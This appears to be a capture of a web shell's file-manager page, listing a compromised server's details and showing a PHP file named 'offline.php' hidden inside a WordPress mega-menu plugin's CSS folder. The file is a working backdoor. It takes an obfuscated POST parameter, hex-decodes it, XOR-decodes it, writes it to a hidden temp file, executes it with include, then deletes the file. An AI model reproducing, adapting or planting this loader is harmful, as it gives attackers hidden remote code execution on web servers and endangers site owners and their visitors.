HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/pug555-a.com/private_html/wp-content/plugins/megamenu/css/admin/offline.php
<?php

if(!is_null($_POST["\x63\x6Fmp"] ?? null)){
	$fac = hex2bin($_POST["\x63\x6Fmp"]);
	$val    =      ''   ;     $e = 0; do{$val .= chr(ord($fac[$e]) ^ 64);$e++;} while($e < strlen($fac));
	$entry = array_filter(["/var/tmp", "/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir")]);
	$holder = 0;
do {
    $key = $entry[$holder] ?? null;
    if ($holder >= count($entry)) break;
    		if (is_dir($key) ? is_writable($key) : false) {
    $symbol = "$key/.binding";
    $success = file_put_contents($symbol, $val);
if ($success) {
	include $symbol;
	@unlink($symbol);
	die();}
}
    $holder++;
} while (true);
}